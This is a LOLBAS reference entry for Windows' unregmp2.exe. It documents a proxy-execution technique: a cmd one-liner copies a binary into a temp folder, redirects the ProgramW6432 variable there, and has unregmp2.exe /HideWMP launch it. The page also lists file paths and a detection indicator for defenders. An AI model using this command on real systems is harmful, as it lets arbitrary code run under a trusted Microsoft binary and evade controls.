LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Unregmp2.exe

View source

Microsoft Windows Media Player Setup Utility

01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Execute1

EXAMPLE 01T1202

Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\wmpnscfg.exe'.

COMMAND
rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"
USE CASE
Proxy execution of binary
PRIVILEGES
User
OPERATING SYSTEM
Windows 10
Execute · EXE
02 / ON DISK

Known paths

C:\Windows\System32\unregmp2.exe
C:\Windows\SysWOW64\unregmp2.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP`

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Wade Hickey@notwhickey